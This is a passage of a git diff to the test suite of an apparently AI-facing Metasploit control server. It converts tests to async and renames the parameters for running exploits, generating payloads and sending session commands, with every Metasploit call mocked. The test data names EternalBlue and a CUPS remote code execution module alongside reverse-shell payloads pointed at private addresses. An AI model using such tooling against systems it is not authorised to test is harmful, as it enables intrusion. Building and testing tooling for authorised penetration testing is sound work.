check_port_available(8080, '0.0.0.0') is_available, error_msg = result assert isinstance(is_available, bool), f"First element should be bool, got {type(is_available)}" assert isinstance(error_msg, str), f"Second element should be str, got {type(error_msg)}" - def test_invalid_port_returns_tuple(self): + async def test_invalid_port_returns_tuple(self): """Test that invalid port returns Tuple[bool, str].""" - result = check_port_available(0, '0.0.0.0') + result = await check_port_available(0, '0.0.0.0') assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -74,9 +76,9 @@ def test_invalid_port_returns_tuple(self): assert is_available is False assert "Invalid port" in error_msg - def test_invalid_port_too_high_returns_tuple(self): + async def test_invalid_port_too_high_returns_tuple(self): """Test that port > 65535 returns Tuple[bool, str].""" - result = check_port_available(70000, '0.0.0.0') + result = await check_port_available(70000, '0.0.0.0') assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -86,7 +88,7 @@ def test_invalid_port_too_high_returns_tuple(self): assert "Invalid port" in error_msg @patch('MetasploitMCP.psutil.net_connections') - def test_port_in_use_via_psutil_returns_tuple(self, mock_net_connections): + async def test_port_in_use_via_psutil_returns_tuple(self, mock_net_connections): """Test that when psutil detects port in use, it returns Tuple[bool, str].""" # Mock a connection using the port mock_conn = Mock() @@ -96,7 +98,7 @@ def test_port_in_use_via_psutil_returns_tuple(self, mock_net_connections): mock_conn.raddr = None mock_net_connections.return_value = [mock_conn] - result = check_port_available(4444, '0.0.0.0') + result = await check_port_available(4444, '0.0.0.0') assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -107,7 +109,7 @@ def test_port_in_use_via_psutil_returns_tuple(self, mock_net_connections): @patch('MetasploitMCP.psutil.net_connections') @patch('socket.socket') - def test_port_available_returns_tuple(self, mock_socket, mock_net_connections): + async def test_port_available_returns_tuple(self, mock_socket, mock_net_connections): """Test that when port is available, it returns Tuple[bool, str].""" # Mock psutil to return no connections mock_net_connections.return_value = [] @@ -116,7 +118,7 @@ def test_port_available_returns_tuple(self, mock_socket, mock_net_connections): mock_sock = MagicMock() mock_socket.return_value.__enter__.return_value = mock_sock - result = check_port_available(8080, '0.0.0.0') + result = await check_port_available(8080, '0.0.0.0') assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -127,7 +129,7 @@ def test_port_available_returns_tuple(self, mock_socket, mock_net_connections): @patch('MetasploitMCP.psutil.net_connections') @patch('socket.socket') - def test_port_unavailable_socket_bind_returns_tuple(self, mock_socket, mock_net_connections): + async def test_port_unavailable_socket_bind_returns_tuple(self, mock_socket, mock_net_connections): """Test that when socket.bind fails, it returns Tuple[bool, str].""" # Mock psutil to return no connections (fall through to socket check) mock_net_connections.return_value = [] @@ -137,7 +139,7 @@ def test_port_unavailable_socket_bind_returns_tuple(self, mock_socket, mock_net_ mock_sock.bind.side_effect = OSError("Address already in use") mock_socket.return_value.__enter__.return_value = mock_sock - result = check_port_available(4444, '0.0.0.0') + result = await check_port_available(4444, '0.0.0.0') assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -148,7 +150,7 @@ def test_port_unavailable_socket_bind_returns_tuple(self, mock_socket, mock_net_ @patch('MetasploitMCP.psutil.net_connections') @patch('socket.socket') - def test_psutil_access_denied_fallback_returns_tuple(self, mock_socket, mock_net_connections): + async def test_psutil_access_denied_fallback_returns_tuple(self, mock_socket, mock_net_connections): """Test that when psutil raises AccessDenied, fallback returns Tuple[bool, str].""" import psutil # Mock psutil to raise AccessDenied @@ -158,7 +160,7 @@ def test_psutil_access_denied_fallback_returns_tuple(self, mock_socket, mock_net mock_sock = MagicMock() mock_socket.return_value.__enter__.return_value = mock_sock - result = check_port_available(8080, '0.0.0.0') + result = await check_port_available(8080, '0.0.0.0') assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -167,7 +169,7 @@ def test_psutil_access_denied_fallback_returns_tuple(self, mock_socket, mock_net @patch('MetasploitMCP.psutil.net_connections') @patch('socket.socket') - def test_exception_during_socket_bind_returns_tuple(self, mock_socket, mock_net_connections): + async def test_exception_during_socket_bind_returns_tuple(self, mock_socket, mock_net_connections): """Test that when an exception occurs during socket bind, it returns Tuple[bool, str].""" # Mock psutil to return no connections mock_net_connections.return_value = [] @@ -177,7 +179,7 @@ def test_exception_during_socket_bind_returns_tuple(self, mock_socket, mock_net_ mock_sock.bind.side_effect = Exception("Unexpected error") mock_socket.return_value.__enter__.return_value = mock_sock - result = check_port_available(4444, '0.0.0.0') + result = await check_port_available(4444, '0.0.0.0') assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -186,7 +188,7 @@ def test_exception_during_socket_bind_returns_tuple(self, mock_socket, mock_net_ assert is_available is False assert "Error checking port" in error_msg - def test_all_return_paths_are_tuples(self): + async def test_all_return_paths_are_tuples(self): """Comprehensive test to ensure all code paths return Tuple[bool, str].""" test_cases = [ # (port, host, description) @@ -202,7 +204,7 @@ def test_all_return_paths_are_tuples(self): mock_sock = MagicMock() mock_socket.return_value.__enter__.return_value = mock_sock - result = check_port_available(port, host) + result = await check_port_available(port, host) assert isinstance(result, tuple), \ f"Failed for {description}: Expected tuple, got {type(result)}" assert len(result) == 2, \ @@ -217,20 +219,20 @@ def test_all_return_paths_are_tuples(self): class TestCheckPortAvailableUnpacking: """Test that check_port_available can be correctly unpacked as (bool, str).""" - def test_can_unpack_result(self): + async def test_can_unpack_result(self): """Test that the result can be unpacked into two variables.""" - port_available, port_error = check_port_available(8080, '0.0.0.0') + port_available, port_error = await check_port_available(8080, '0.0.0.0') assert isinstance(port_available, bool) assert isinstance(port_error, str) - def test_unpacking_matches_usage_pattern(self): + async def test_unpacking_matches_usage_pattern(self): """Test that unpacking matches the actual usage pattern in the codebase.""" # This is how it's used in the codebase: # port_available, port_error = check_port_available(bind_port, bind_address) bind_port = 4444 bind_address = '0.0.0.0' - port_available, port_error = check_port_available(bind_port, bind_address) + port_available, port_error = await check_port_available(bind_port, bind_address) # Verify types assert isinstance(port_available, bool) @@ -246,24 +248,24 @@ def test_unpacking_matches_usage_pattern(self): class TestValidateBindAddressReturnType: """Test that validate_bind_address always returns Tuple[bool, str] (similar function).""" - def test_validate_bind_address_return_type_is_tuple(self): + async def test_validate_bind_address_return_type_is_tuple(self): """Test that validate_bind_address returns a tuple.""" from MetasploitMCP import validate_bind_address - result = validate_bind_address("0.0.0.0") + result = await validate_bind_address("0.0.0.0") assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" - def test_validate_bind_address_return_type_has_correct_types(self): + async def test_validate_bind_address_return_type_has_correct_types(self): """Test that the tuple contains bool and str.""" from MetasploitMCP import validate_bind_address - result = validate_bind_address("0.0.0.0") + result = await validate_bind_address("0.0.0.0") is_valid, error_msg = result assert isinstance(is_valid, bool), f"First element should be bool, got {type(is_valid)}" assert isinstance(error_msg, str), f"Second element should be str, got {type(error_msg)}" - def test_validate_bind_address_all_paths_return_tuple(self): + async def test_validate_bind_address_all_paths_return_tuple(self): """Test all code paths return Tuple[bool, str].""" from MetasploitMCP import validate_bind_address @@ -277,7 +279,7 @@ def test_validate_bind_address_all_paths_return_tuple(self): for address, description in test_cases: with patch('MetasploitMCP.get_local_ip_addresses', return_value=['127.0.0.1', '::1']): - result = validate_bind_address(address) + result = await validate_bind_address(address) assert isinstance(result, tuple), \ f"Failed for {description}: Expected tuple, got {type(result)}" assert len(result) == 2, \ diff --git a/tests/test_regex_patterns_and_exit_terms.py b/tests/test_regex_patterns_and_exit_terms.py index 9e37b6f..1de6529 100644 --- a/tests/test_regex_patterns_and_exit_terms.py +++ b/tests/test_regex_patterns_and_exit_terms.py @@ -71,6 +71,20 @@ class MockMsfRpcError(Exception): ) +@pytest.fixture(autouse=True) +def _mock_msf_client_instance(): + """Provide a default MSF client for console helpers.""" + client = Mock() + console = Mock() + console.cid = "test-console" + console.read.return_value = {"data": "", "prompt": "", "busy": False} + console.write.return_value = True + client.consoles.console.return_value = console + client.consoles.destroy.return_value = "destroyed" + with patch.object(sys.modules['MetasploitMCP'], "_msf_client_instance", client): + yield client + + class TestRegexPatterns: """Test the global regex patterns for vulnerability and session detection.""" diff --git a/tests/test_tools_integration.py b/tests/test_tools_integration.py index 05e2772..fc80a5d 100644 --- a/tests/test_tools_integration.py +++ b/tests/test_tools_integration.py @@ -117,7 +117,8 @@ def mock_client(self, mock_asyncio_to_thread): """Fixture providing a mock MSF client.""" client = MockMsfRpcClient() with patch('MetasploitMCP.get_msf_client', return_value=client): - yield client + with patch.object(MetasploitMCP, '_msf_client_instance', client): + yield client @pytest.mark.asyncio async def test_list_exploits_no_filter(self, mock_client): @@ -231,22 +232,23 @@ async def test_list_payloads_with_exploit_module(self, mock_asyncio_to_thread): # Create mock client client = MockMsfRpcClient() - # Create a mock module with compatible_payloads + # Create a mock module with payloads mock_module = MockMsfModule('exploit/windows/smb/ms17_010_eternalblue') - mock_module.compatible_payloads = [ + mock_module.payloads = [ 'windows/x64/meterpreter/reverse_tcp', 'windows/x64/meterpreter/bind_tcp', 'windows/x64/shell/reverse_tcp' ] with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._get_module_object', return_value=mock_module): - result = await list_payloads(exploit_module="windows/smb/ms17_010_eternalblue") + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._get_module_object', return_value=mock_module): + result = await list_payloads(compatible_with="windows/smb/ms17_010_eternalblue") assert isinstance(result, list) assert len(result) == 3 - assert 'windows/x64/meterpreter/reverse_tcp' in result - assert 'windows/x64/meterpreter/bind_tcp' in result + assert any(item.startswith('windows/x64/meterpreter/reverse_tcp') for item in result) + assert any(item.startswith('windows/x64/meterpreter/bind_tcp') for item in result) @pytest.mark.asyncio async def test_list_payloads_with_exploit_module_and_filters(self, mock_asyncio_to_thread): @@ -255,7 +257,7 @@ async def test_list_payloads_with_exploit_module_and_filters(self, mock_asyncio_ client = MockMsfRpcClient() mock_module = MockMsfModule('exploit/windows/smb/ms17_010_eternalblue') - mock_module.compatible_payloads = [ + mock_module.payloads = [ 'windows/x64/meterpreter/reverse_tcp', 'windows/x64/meterpreter/bind_tcp', 'windows/x64/shell/reverse_tcp', @@ -263,8 +265,9 @@ async def test_list_payloads_with_exploit_module_and_filters(self, mock_asyncio_ ] with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._get_module_object', return_value=mock_module): - result = await list_payloads(exploit_module="windows/smb/ms17_010_eternalblue", arch="x64") + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._get_module_object', return_value=mock_module): + result = await list_payloads(compatible_with="windows/smb/ms17_010_eternalblue", arch="x64") assert isinstance(result, list) assert len(result) == 3 @@ -278,8 +281,9 @@ async def test_list_payloads_with_invalid_exploit_module(self, mock_asyncio_to_t client = MockMsfRpcClient() with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._get_module_object', side_effect=ValueError("Module not found")): - result = await list_payloads(exploit_module="invalid/exploit/name") + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._get_module_object', side_effect=ValueError("Module not found")): + result = await list_payloads(compatible_with="invalid/exploit/name") assert isinstance(result, list) assert len(result) == 1 @@ -288,7 +292,7 @@ async def test_list_payloads_with_invalid_exploit_module(self, mock_asyncio_to_t @pytest.mark.asyncio async def test_list_payloads_exploit_module_no_compatible_payloads_attr(self, mock_asyncio_to_thread): - """Test listing payloads when module doesn't support compatible_payloads.""" + """Test listing payloads when module doesn't expose payloads attribute.""" # Create mock client client = MockMsfRpcClient() client.modules.payloads = [ @@ -300,14 +304,14 @@ async def test_list_payloads_exploit_module_no_compatible_payloads_attr(self, mo # Don't set compatible_payloads attribute to simulate older MSF versions with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._get_module_object', return_value=mock_module): - result = await list_payloads(exploit_module="unix/ftp/vsftpd_234_backdoor") + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._get_module_object', return_value=mock_module): + result = await list_payloads(compatible_with="unix/ftp/vsftpd_234_backdoor") - # Should return an error message explaining that the module doesn't support compatible_payloads + # Should return an error message explaining that compatible payloads could not be queried assert isinstance(result, list) assert len(result) == 1 - assert "doesn't support querying compatible payloads" in result[0] - assert "Use list_payloads without exploit_module parameter" in result[0] + assert "compatible payloads" in result[0].lower() class TestPayloadGeneration: @@ -320,12 +324,13 @@ def mock_client_and_module(self, mock_asyncio_to_thread): module = MockMsfModule('payload/windows/meterpreter/reverse_tcp') with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._get_module_object', return_value=module): - with patch('MetasploitMCP.PAYLOAD_SAVE_DIR', '/tmp/test'): - with patch('os.makedirs'): - with patch('builtins.open', create=True) as mock_open: - mock_open.return_value.__enter__.return_value.write = Mock() - yield client, module + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._get_module_object', return_value=module): + with patch('MetasploitMCP.PAYLOAD_SAVE_DIR', '/tmp/test'): + with patch('os.makedirs'): + with patch('builtins.open', create=True) as mock_open: + mock_open.return_value.__enter__.return_value.write = Mock() + yield client, module @pytest.mark.asyncio async def test_generate_payload_dict_options(self, mock_client_and_module): @@ -334,8 +339,8 @@ async def test_generate_payload_dict_options(self, mock_client_and_module): options = {"LHOST": "192.168.1.100", "LPORT": 4444} result = await generate_payload( - payload_type="windows/meterpreter/reverse_tcp", - format_type="exe", + payload="windows/meterpreter/reverse_tcp", + format="exe", options=options ) @@ -350,8 +355,8 @@ async def test_generate_payload_string_options(self, mock_client_and_module): options = "LHOST=192.168.1.100,LPORT=4444" result = await generate_payload( - payload_type="windows/meterpreter/reverse_tcp", - format_type="exe", + payload="windows/meterpreter/reverse_tcp", + format="exe", options=options ) @@ -366,8 +371,8 @@ async def test_generate_payload_empty_options(self, mock_client_and_module): client, module = mock_client_and_module result = await generate_payload( - payload_type="windows/meterpreter/reverse_tcp", - format_type="exe", + payload="windows/meterpreter/reverse_tcp", + format="exe", options={} ) @@ -380,8 +385,8 @@ async def test_generate_payload_invalid_string_options(self, mock_client_and_mod client, module = mock_client_and_module result = await generate_payload( - payload_type="windows/meterpreter/reverse_tcp", - format_type="exe", + payload="windows/meterpreter/reverse_tcp", + format="exe", options="LHOST192.168.1.100" # Missing equals ) @@ -408,21 +413,22 @@ def raise_keyerror(): module.payload_generate = raise_keyerror with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._get_module_object', return_value=module): - options = {"LHOST": "192.168.1.100", "LPORT": 4444} - result = await generate_payload( - payload_type="java/jsp_shell_reverse_tcp", - format_type="war", - options=options - ) + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._get_module_object', return_value=module): + options = {"LHOST": "192.168.1.100", "LPORT": 4444} + result = await generate_payload( + payload="java/jsp_shell_reverse_tcp", + format="war", + options=options + ) assert result["status"] == "error" assert "java/jsp_shell_reverse_tcp" in result["message"] assert "war" in result["message"] # Verify helpful guidance is included - assert "payload_type" in result + assert "payload" in result assert "format" in result - assert result["payload_type"] == "java/jsp_shell_reverse_tcp" + assert result["payload"] == "java/jsp_shell_reverse_tcp" assert result["format"] == "war" @pytest.mark.asyncio @@ -438,13 +444,14 @@ def raise_keyerror(): module.payload_generate = raise_keyerror with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._get_module_object', return_value=module): - options = {"LHOST": "192.168.1.100"} # Missing LPORT - result = await generate_payload( - payload_type="windows/meterpreter/reverse_tcp", - format_type="exe", - options=options - ) + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._get_module_object', return_value=module): + options = {"LHOST": "192.168.1.100"} # Missing LPORT + result = await generate_payload( + payload="windows/meterpreter/reverse_tcp", + format="exe", + options=options + ) assert result["status"] == "error" assert result.get("missing_required") == ['LHOST', 'LPORT'] @@ -460,20 +467,21 @@ def mock_exploit_environment(self, mock_asyncio_to_thread): module = MockMsfModule('exploit/windows/smb/ms17_010_eternalblue') with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._execute_module_rpc') as mock_rpc: - with patch('MetasploitMCP._execute_module_console') as mock_console: - mock_rpc.return_value = { - "status": "success", - "message": "Exploit executed", - "job_id": 1234, - "session_id": 5678 - } - mock_console.return_value = { - "status": "success", - "message": "Exploit executed via console", - "module_output": "Session 1 opened" - } - yield client, mock_rpc, mock_console + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._execute_module_rpc') as mock_rpc: + with patch('MetasploitMCP._execute_module_console') as mock_console: + mock_rpc.return_value = { + "status": "success", + "message": "Exploit executed", + "job_id": 1234, + "session_id": 5678 + } + mock_console.return_value = { + "status": "success", + "message": "Exploit executed via console", + "module_output": "Session 1 opened" + } + yield client, mock_rpc, mock_console @pytest.mark.asyncio async def test_run_exploit_dict_payload_options(self, mock_exploit_environment): @@ -481,11 +489,11 @@ async def test_run_exploit_dict_payload_options(self, mock_exploit_environment): client, mock_rpc, mock_console = mock_exploit_environment # Mock port availability check to always return available - with patch('MetasploitMCP.check_port_available', return_value=(True, "")): + with patch('MetasploitMCP.check_port_available', new=AsyncMock(return_value=(True, ""))): result = await run_exploit( - module_name="windows/smb/ms17_010_eternalblue", + module="windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.1"}, - payload_name="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, run_as_job=True ) @@ -499,11 +507,11 @@ async def test_run_exploit_string_payload_options(self, mock_exploit_environment client, mock_rpc, mock_console = mock_exploit_environment # Mock port availability check to always return available - with patch('MetasploitMCP.check_port_available', return_value=(True, "")): + with patch('MetasploitMCP.check_port_available', new=AsyncMock(return_value=(True, ""))): result = await run_exploit( - module_name="windows/smb/ms17_010_eternalblue", + module="windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.1"}, - payload_name="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", payload_options="LHOST=192.168.1.100,LPORT=4444", run_as_job=True ) @@ -521,9 +529,9 @@ async def test_run_exploit_invalid_payload_options(self, mock_exploit_environmen client, mock_rpc, mock_console = mock_exploit_environment result = await run_exploit( - module_name="windows/smb/ms17_010_eternalblue", + module="windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.1"}, - payload_name="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", payload_options="LHOST192.168.1.100", # Invalid format run_as_job=True ) @@ -537,9 +545,9 @@ async def test_run_exploit_console_mode(self, mock_exploit_environment): client, mock_rpc, mock_console = mock_exploit_environment result = await run_exploit( - module_name="windows/smb/ms17_010_eternalblue", + module="windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.1"}, - payload_name="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, run_as_job=False # Console mode ) @@ -554,25 +562,26 @@ async def test_run_exploit_invalid_payload_error_message_rpc(self, mock_asyncio_ client = MockMsfRpcClient() with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP.check_port_available', return_value=(True, None)): - with patch('MetasploitMCP._execute_module_rpc') as mock_rpc: - # Simulate an invalid payload error - mock_rpc.return_value = { - "status": "error", - "message": "Invalid payload specified: linux/x86/shell/reverse_tcp. To view compatible payloads for this exploit, use: list_payloads(exploit_module='windows/smb/ms17_010_eternalblue')." - } - - result = await run_exploit( - module_name="windows/smb/ms17_010_eternalblue", - options={"RHOSTS": "192.168.1.1"}, - payload_name="linux/x86/shell/reverse_tcp", # Invalid for Windows exploit - payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, - run_as_job=True - ) + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP.check_port_available', new=AsyncMock(return_value=(True, None))): + with patch('MetasploitMCP._execute_module_rpc') as mock_rpc: + # Simulate an invalid payload error + mock_rpc.return_value = { + "status": "error", + "message": "Invalid payload specified: linux/x86/shell/reverse_tcp. To view compatible payloads for this exploit, use: list_payloads(compatible_with='windows/smb/ms17_010_eternalblue')." + } + + result = await run_exploit( + module="windows/smb/ms17_010_eternalblue", + options={"RHOSTS": "192.168.1.1"}, + payload="linux/x86/shell/reverse_tcp", # Invalid for Windows exploit + payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, + run_as_job=True + ) assert result["status"] == "error" assert "list_payloads" in result["message"] - assert "exploit_module" in result["message"] + assert "compatible_with" in result["message"] assert "ms17_010_eternalblue" in result["message"] @pytest.mark.asyncio @@ -583,21 +592,22 @@ async def test_run_exploit_module_validation(self, mock_asyncio_to_thread): client = MockMsfRpcClient() with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._get_module_object') as mock_get_module: - # Simulate module not found - mock_get_module.side_effect = InvalidModuleError( - module_type='exploit', - module_name='nonexistent/module', - message="Module 'exploit/nonexistent/module' not found." - ) - - result = await run_exploit( - module_name="nonexistent/module", - options={"RHOSTS": "192.168.1.1"}, - payload_name="windows/meterpreter/reverse_tcp", - payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, - run_as_job=True - ) + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._get_module_object') as mock_get_module: + # Simulate module not found + mock_get_module.side_effect = InvalidModuleError( + module_type='exploit', + module_name='nonexistent/module', + message="Module 'exploit/nonexistent/module' not found." + ) + + result = await run_exploit( + module="nonexistent/module", + options={"RHOSTS": "192.168.1.1"}, + payload="windows/meterpreter/reverse_tcp", + payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, + run_as_job=True + ) assert result["status"] == "error" assert "not found" in result["message"] @@ -613,25 +623,26 @@ async def test_run_exploit_failed_to_load_module_detection_check(self, mock_asyn mock_module = MockMsfModule('exploit/multi/http/cups_ipp_remote_code_execution') with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._get_module_object', return_value=mock_module): - with patch('MetasploitMCP.check_port_available', return_value=(True, None)): - with patch('MetasploitMCP._execute_module_console') as mock_console: - # Simulate "Failed to load module" in check output - mock_console.return_value = { - "status": "error", - "message": "Module 'exploit/multi/http/cups_ipp_remote_code_execution' failed to load.", - "module_output": "[-] No results from search\n[-] Failed to load module: exploit/multi/http/cups_ipp_remote_code_execution\nRHOSTS => 10.77.0.191\nRPORT => 631\n[-] Unknown command: check. Run the help command for more details.\n", - "module": "exploit/multi/http/cups_ipp_remote_code_execution" - } - - result = await run_exploit( - module_name="multi/http/cups_ipp_remote_code_execution", - options={"RHOSTS": "10.77.0.191", "RPORT": 631}, - payload_name="cmd/unix/reverse_bash", - payload_options={"LHOST": "10.77.0.1", "LPORT": 4474}, - run_as_job=False, - check_vulnerability=True - ) + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._get_module_object', return_value=mock_module): + with patch('MetasploitMCP.check_port_available', new=AsyncMock(return_value=(True, None))): + with patch('MetasploitMCP._execute_module_console') as mock_console: + # Simulate "Failed to load module" in check output + mock_console.return_value = { + "status": "error", + "message": "Module 'exploit/multi/http/cups_ipp_remote_code_execution' failed to load.", + "module_output": "[-] No results from search\n[-] Failed to load module: exploit/multi/http/cups_ipp_remote_code_execution\nRHOSTS => 10.77.0.191\nRPORT => 631\n[-] Unknown command: check. Run the help command for more details.\n", + "module": "exploit/multi/http/cups_ipp_remote_code_execution" + } + + result = await run_exploit( + module="multi/http/cups_ipp_remote_code_execution", + options={"RHOSTS": "10.77.0.191", "RPORT": 631}, + payload="cmd/unix/reverse_bash", + payload_options={"LHOST": "10.77.0.1", "LPORT": 4474}, + run_as_job=False, + check_vulnerability=True + ) assert result["status"] == "error" assert "failed to load" in result["message"].lower() @@ -649,24 +660,25 @@ async def test_run_exploit_failed_to_load_module_detection_exploit(self, mock_as mock_module = MockMsfModule('exploit/multi/http/cups_ipp_remote_code_execution') with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._get_module_object', return_value=mock_module): - with patch('MetasploitMCP.check_port_available', return_value=(True, None)): - with patch('MetasploitMCP._execute_module_console') as mock_console: - # Simulate "Failed to load module" in exploit output - mock_console.return_value = { - "status": "error", - "message": "Module 'exploit/multi/http/cups_ipp_remote_code_execution' failed to load.", - "module_output": "[-] Failed to load module: exploit/multi/http/cups_ipp_remote_code_execution\n", - "module": "exploit/multi/http/cups_ipp_remote_code_execution" - } - - result = await run_exploit( - module_name="multi/http/cups_ipp_remote_code_execution", - options={"RHOSTS": "10.77.0.191", "RPORT": 631}, - payload_name="cmd/unix/reverse_bash", - payload_options={"LHOST": "10.77.0.1", "LPORT": 4474}, - run_as_job=False - ) + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._get_module_object', return_value=mock_module): + with patch('MetasploitMCP.check_port_available', new=AsyncMock(return_value=(True, None))): + with patch('MetasploitMCP._execute_module_console') as mock_console: + # Simulate "Failed to load module" in exploit output + mock_console.return_value = { + "status": "error", + "message": "Module 'exploit/multi/http/cups_ipp_remote_code_execution' failed to load.", + "module_output": "[-] Failed to load module: exploit/multi/http/cups_ipp_remote_code_execution\n", + "module": "exploit/multi/http/cups_ipp_remote_code_execution" + } + + result = await run_exploit( + module="multi/http/cups_ipp_remote_code_execution", + options={"RHOSTS": "10.77.0.191", "RPORT": 631}, + payload="cmd/unix/reverse_bash", + payload_options={"LHOST": "10.77.0.1", "LPORT": 4474}, + run_as_job=False + ) assert result["status"] == "error" assert "failed to load" in result["message"].lower() @@ -681,26 +693,27 @@ async def test_run_exploit_invalid_payload_error_message_console(self, mock_asyn client = MockMsfRpcClient() with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP.check_port_available', return_value=(True, None)): - with patch('MetasploitMCP._execute_module_console') as mock_console: - # Simulate console output with invalid payload error - mock_console.return_value = { - "status": "error", - "message": "Error during setup command 'set PAYLOAD linux/x86/shell/reverse_tcp': [-] Error setting option PAYLOAD\n\nTo view compatible payloads for this exploit, use: list_payloads(exploit_module='windows/smb/ms17_010_eternalblue')", - "module": "exploit/windows/smb/ms17_010_eternalblue" - } - - result = await run_exploit( - module_name="windows/smb/ms17_010_eternalblue", - options={"RHOSTS": "192.168.1.1"}, - payload_name="linux/x86/shell/reverse_tcp", - payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, - run_as_job=False # Console mode - ) + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP.check_port_available', new=AsyncMock(return_value=(True, None))): + with patch('MetasploitMCP._execute_module_console') as mock_console: + # Simulate console output with invalid payload error + mock_console.return_value = { + "status": "error", + "message": "Error during setup command 'set PAYLOAD linux/x86/shell/reverse_tcp': [-] Error setting option PAYLOAD\n\nTo view compatible payloads for this exploit, use: list_payloads(compatible_with='windows/smb/ms17_010_eternalblue')", + "module": "exploit/windows/smb/ms17_010_eternalblue" + } + + result = await run_exploit( + module="windows/smb/ms17_010_eternalblue", + options={"RHOSTS": "192.168.1.1"}, + payload="linux/x86/shell/reverse_tcp", + payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, + run_as_job=False # Console mode + ) assert result["status"] == "error" assert "list_payloads" in result["message"] - assert "exploit_module" in result["message"] + assert "compatible_with" in result["message"] class TestSessionManagement: @@ -724,7 +737,8 @@ def mock_session_environment(self, mock_asyncio_to_thread): client.sessions.session = Mock(return_value=session) with patch('MetasploitMCP.get_msf_client', return_value=client): - yield client, session + with patch.object(MetasploitMCP, '_msf_client_instance', client): + yield client, session @pytest.mark.asyncio async def test_list_active_sessions(self, mock_session_environment): @@ -742,11 +756,17 @@ async def test_list_active_sessions(self, mock_session_environment): async def test_send_session_command_meterpreter(self, mock_session_environment): """Test sending command to Meterpreter session.""" client, session = mock_session_environment - - result = await send_session_command(1, "sysinfo") - + with patch('MetasploitMCP._drive_meterpreter_command', new=AsyncMock(return_value={ + "status": "success", + "output": "sysinfo output", + "message": "Command completed", + "reason": "prompt", + "elapsed_seconds": 0.1, + })) as mock_drive: + result = await send_session_command(1, "sysinfo") + assert result["status"] == "success" - session.run_with_output.assert_called_once_with("sysinfo") + mock_drive.assert_awaited_once() @pytest.mark.asyncio async def test_send_session_command_nonexistent(self, mock_session_environment): @@ -804,13 +824,14 @@ def mock_job_environment(self, mock_asyncio_to_thread): client.jobs.stop = Mock(return_value="stopped") with patch('MetasploitMCP.get_msf_client', return_value=client): - with patch('MetasploitMCP._execute_module_rpc') as mock_rpc: - mock_rpc.return_value = { - "status": "success", - "job_id": 1234, - "message": "Listener started" - } - yield client, mock_rpc + with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch('MetasploitMCP._execute_module_rpc') as mock_rpc: + mock_rpc.return_value = { + "status": "success", + "job_id": 1234, + "message": "Listener started" + } + yield client, mock_rpc @pytest.mark.asyncio async def test_start_listener_dict_options(self, mock_job_environment): @@ -818,9 +839,9 @@ async def test_start_listener_dict_options(self, mock_job_environment): client, mock_rpc = mock_job_environment # Mock port availability check to always return available - with 